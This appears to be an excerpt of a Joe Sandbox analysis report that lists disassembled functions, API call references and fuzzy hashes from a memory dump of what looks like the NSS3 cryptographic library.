Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: f64f123c2c482f569ac39e6389f604d19872b8e1b6e58f7a67ecf3e39904c223
Instruction ID: cf831450db55793b378b6d49b9aa082c2ae8694fb23b9afed82c4fd5d444dcd7
Opcode Fuzzy Hash: f64f123c2c482f569ac39e6389f604d19872b8e1b6e58f7a67ecf3e39904c223
Instruction Fuzzy Hash: 0841E071B002159BDF18DFA5DC85ABE7776FB8A318F040039D81693B01DB79A902CBD6

Function 6C7D7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C7D7ED8

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: ca953dca079135f844295b47b1094b7cf72aa420bc4cf61b632c7113d3f27a6a
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 0831A4B1A001128FDB04CF09C99099ABBE6BF88318B1B8579C8585BB15EB71EC45CBD1

Function 6C78DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C713090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C72AE42), ref: 6C7130AA
Part of subcall function 6C713090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7130C7
Part of subcall function 6C713090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7130E5
Part of subcall function 6C713090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C713116
Part of subcall function 6C713090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C71312B
Part of subcall function 6C713090: PK11_DestroyObject.NSS3(?,?), ref: 6C713154
Part of subcall function 6C713090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C78DBBD), ref: 6C78DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C78DFEE

Part of subcall function 6C7286D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C728716
Part of subcall function 6C7286D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C728727
Part of subcall function 6C7286D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C72873B
Part of subcall function 6C7286D0: PR_Unlock.NSS3(?), ref: 6C72876F
Part of subcall function 6C7286D0: PR_SetError.NSS3(00000000,00000000), ref: 6C728787

Part of subcall function 6C74F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C74F854
Part of subcall function 6C74F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C74F868
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C74F882
Part of subcall function 6C74F820: free.MOZGLUE(04C483FF,?,?), ref: 6C74F889
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C74F8A4
Part of subcall function 6C74F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C74F8AB
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C74F8C9
Part of subcall function 6C74F820: free.MOZGLUE(280F10EC,?,?), ref: 6C74F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C78DBBD), ref: 6C78DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C78DBBD), ref: 6C78E007

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 03eb99a4c4b2babbafaa7e5a8345eae3ca2697199484535f371186f2a7172cc6
Instruction ID: 56abbddbc12659cdf4d07303c1b7e841a607d337b7d8cd03445ecc79d7c10b89
Opcode Fuzzy Hash: 03eb99a4c4b2babbafaa7e5a8345eae3ca2697199484535f371186f2a7172cc6
Instruction Fuzzy Hash: 563148B1A0520257E7009A79AE8DA9B73B8AF6530CF040136EA19D7B03FF35D518D3E2

Function 6C706C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C706C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C706CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C706CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C828FE0), ref: 6C706CFE

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: b2c500e6563c5aaa55c3d74c2843a04c2b1880819d9ab8c088b3982e5c1b1007
Instruction ID: 00a368b289f08da3bcb8f152c4185e5c729c29dd27104a85c629bc6fffd401bc
Opcode Fuzzy Hash: b2c500e6563c5aaa55c3d74c2843a04c2b1880819d9ab8c088b3982e5c1b1007
Instruction Fuzzy Hash: 9F318EB1A002169FEB08CF65C995ABFBBF5EF85248B10443DDD05E7700EB31AA45CBA0

Function 6C814F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C814F5D
free.MOZGLUE(?), ref: 6C814F74
free.MOZGLUE(?), ref: 6C814F82
GetLastError.KERNEL32 ref: 6C814F90

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: c6baaaadddb1e1125e9e5f4dfdc33ead077202b80591fec23e00d6479125a6eb
Instruction ID: b66ea65f31ac5f80bb7be7deffb106159c1adda9a9ab2eb2bdaba2d30acd3df5
Opcode Fuzzy Hash: c6baaaadddb1e1125e9e5f4dfdc33ead077202b80591fec23e00d6479125a6eb
Instruction Fuzzy Hash: 493137B5A0420A4BEB11CB69DD81BDBB3F8EFC534CF040629E815A7B81D734E904CAA1

Function 6C776DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C776E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C776E57

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C776E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C776EAA

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 81a58aa29b5ca475441338c4adfd497f4d78b0ae5f21fdd978ebea4fc9afff56
Instruction ID: 19f7109fec0b0072e1f7ee7962cf35497f23ead6397276746cfbe5e5d4193415
Opcode Fuzzy Hash: 81a58aa29b5ca475441338c4adfd497f4d78b0ae5f21fdd978ebea4fc9afff56
Instruction Fuzzy Hash: 8431D73161061AEFDF241F34DE08396B7A9BB0131AF14063CD499D6A49E7B0A654CFB2

Function 6C75DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C75DDB1,?,00000000), ref: 6C75DDF4

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C75DDB1,?,00000000), ref: 6C75DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C75DDB1,?,00000000), ref: 6C75DE17

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C75DE80

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 7900667c1a9f762ca8db5728f8ca856566827bf67b02eb81b8459551e299e76e
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 8D31A4B1A017429BE700CF56DA84656F7A8BFB5318B64822AD81D87B01EB71E5A4CB90

Function 6C74FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C725ADC,?,00000000,00000001,?,?,00000000,?,6C71BA55,?,?), ref: 6C74FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C74FE5F
PR_Unlock.NSS3(78831D74), ref: 6C74FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C74FED6

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 5699c13ab5d34a91113d6a3572973895f64439e63e88454d1385217483bd2ef4
Instruction ID: 7fa31749689d1405fbef634e2510820edc43fa3ad320e8f8c6990b71d5506cf7
Opcode Fuzzy Hash: 5699c13ab5d34a91113d6a3572973895f64439e63e88454d1385217483bd2ef4
Instruction Fuzzy Hash: 1F213131E00226ABD751AE65DE08BAA73B8BF0535EF484134ED0467E42E331E864CBD1

Function 6C753F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C753440: PK11_GetAllTokens.NSS3 ref: 6C753481
Part of subcall function 6C753440: PR_SetError.NSS3(00000000,00000000), ref: 6C7534A3
Part of subcall function 6C753440: TlsGetValue.KERNEL32 ref: 6C75352E
Part of subcall function 6C753440: EnterCriticalSection.KERNEL32(?), ref: 6C753542
Part of subcall function 6C753440: PR_Unlock.NSS3(?), ref: 6C75355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C73E80C,00000000,00000000,?,?,?,?,6C748C5B,-00000001), ref: 6C753FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C73E80C,00000000,00000000,?,?,?,?,6C748C5B,-00000001), ref: 6C753FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C73E80C,00000000,00000000,?,?,?,?,6C748C5B,-00000001), ref: 6C753FFE
PR_SetError.NSS3 ref: 6C75401A

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: a2854f534a6edb49ab61c74f8cfadc3c275af4b3cf28044f6086f02793ce42d9
Instruction ID: 0f60ae739c52aef5d0990487347056bfad92c67a1fe482d6cd0ca31ae2ea7c73
Opcode Fuzzy Hash: a2854f534a6edb49ab61c74f8cfadc3c275af4b3cf28044f6086f02793ce42d9
Instruction Fuzzy Hash: 713182709087048FD710AF69D68816AB7F0FF88358F51596DD88987B10EB31E895CB92

Function 6C744FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C745003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C74501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C74504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C74B60F,00000000), ref: 6C745064

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 29d8fae72be00c07125ec53fcf891da571a98a98a10259ff909fb3eb347269a5
Instruction ID: 5d3e0ccf91606a746cad4d550895313b6f708e398cad355626fd7ba7ae64c809
Opcode Fuzzy Hash: 29d8fae72be00c07125ec53fcf891da571a98a98a10259ff909fb3eb347269a5
Instruction Fuzzy Hash: 1F3127B4A056068FDB80EF78D58456ABBF4FF09308B158579D85997711E730E890CBD1

Function 6C769F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C76A71A,FFFFFFFF,?,?), ref: 6C769FAB

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C76A71A,6C76A71A,00000000), ref: 6C769FD9

Part of subcall function 6C761340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76136A
Part of subcall function 6C761340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76137E
Part of subcall function 6C761340: PL_ArenaGrow.NSS3(?,6C6FF599,?,00000000,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?), ref: 6C7613CF
Part of subcall function 6C761340: PR_Unlock.NSS3(?,?,6C70895A,00000000,?,00000000,?,00000000,?,00000000,?,6C6FF599,?,00000000), ref: 6C76145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C76A71A,6C76A71A,00000000), ref: 6C76A009
PR_SetError.NSS3(FFFFE013,00000000,6C76A71A,6C76A71A,00000000), ref: 6C76A045

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: dfe0672f5d9268ec018171f8365a97da83d3bd9c4148b6fef1a8cec6e336645b
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 9F21B0B4600216ABE7009F16DD44F66B7A9FB8136CF108138DC6987F81FB76E818CB90

Function 6C772DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C772E08

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C772E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C772E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C772E95

Part of subcall function 6C761200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7088A4,00000000,00000000), ref: 6C761228
Part of subcall function 6C761200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C761238
Part of subcall function 6C761200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7088A4,00000000,00000000), ref: 6C76124B
Part of subcall function 6C761200: PR_CallOnce.NSS3(6C862AA4,6C7612D0,00000000,00000000,00000000,?,6C7088A4,00000000,00000000), ref: 6C76125D
Part of subcall function 6C761200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C76126F
Part of subcall function 6C761200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C761280
Part of subcall function 6C761200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C76128E
Part of subcall function 6C761200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C76129A
Part of subcall function 6C761200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C7612A1

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 5f42288251e9cbd0d7e6edb922e2e58cdc5a7b628e7aa61067f8e0d67881069a
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 7D21D7B1E003498BEB10CF559E4CBAA37686F9130CF111279DD189B752F7F1E594C2A2

Function 6C741870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7418A6
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C726C34,?,?,00000001,00000000,00000007,?), ref: 6C7418B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C726C34,?,?), ref: 6C7418E1
PR_SetError.NSS3(00000000,00000000), ref: 6C7418F9

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 82a424cf6e35ce1ac1db0e0ca0bd57c94716e9a393c36c6d1cd85f7dafd30b9a
Instruction ID: 047d45aa5510e0c7a0765e3c2c749f42f1892295563c8669c51ef17dd39a4aaa
Opcode Fuzzy Hash: 82a424cf6e35ce1ac1db0e0ca0bd57c94716e9a393c36c6d1cd85f7dafd30b9a
Instruction Fuzzy Hash: 3D21CF71E002199BDB00AF68DC49AEA7B74BF0A318F444178ED0557702E735A928CBE1

Function 6C72ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C72ACC2

Part of subcall function 6C702F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C702F0A
Part of subcall function 6C702F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C702F1D

Part of subcall function 6C702AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C700A1B,00000000), ref: 6C702AF0
Part of subcall function 6C702AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C702B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C72AD5E

